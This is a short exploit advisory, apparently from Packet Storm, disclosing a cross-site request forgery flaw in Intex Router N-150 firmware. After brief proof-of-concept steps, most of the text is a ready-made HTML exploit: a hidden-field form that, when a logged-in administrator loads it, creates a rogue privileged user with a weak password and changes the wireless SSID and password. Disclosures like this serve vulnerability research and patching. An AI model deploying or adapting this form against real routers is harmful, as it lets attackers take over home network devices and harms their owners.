Intex Router N-150 Cross Site Request Forgery

Type packetstorm
Reporter Navina Asrani
Modified 2018-06-25T00:00:00


                                            `# Exploit Title:aa Intex Router N-150 - Cross-Site Request Forgery (Add Admin)  
# Date: 2018-06-23  
# Exploit Author: Navina Asrani  
# Version: N-150  
# CVE : N/A  
# Category: Router Firmware  
# 1. Description  
# The firmware allows malicious request to be executed without verifying  
# source of request. This leads to arbitrary execution with malicious request  
# which will lead to the creation of a privileged user..  
# 2. Proof of Concept  
# Visit the application  
# Go to any router setting modification page and change the values,  
# create a request and observe the lack of CSRF tokens.  
# Craft an html page with all the details for the built-in admin  
# user creation and host it on a server  
# Upon the link being clicked by a logged in admin user,  
# immediately, the action will get executed  
# Exploitation Technique: A attacker can create a rogue admin user to gain  
# access to the application.  
# Exploit code:  
<script>history.pushState('', '', '/')</script>  
<form action="" method="POST">  
<input type="hidden" name="GO" value="index.asp" />  
<input type="hidden" name="v12_time" value="1529768448.425" />  
<input type="hidden" name="WANT1" value="3" />  
<input type="hidden" name="isp" value="3" />  
<input type="hidden" name="PUN" value="testuser_k" />  
<input type="hidden" name="PPW" value="123456" />  
<input type="hidden" name="SSID" value="testwifiap" />  
<input type="hidden" name="wirelesspassword" value="00000000" />  
<input type="submit" value="Submit request" />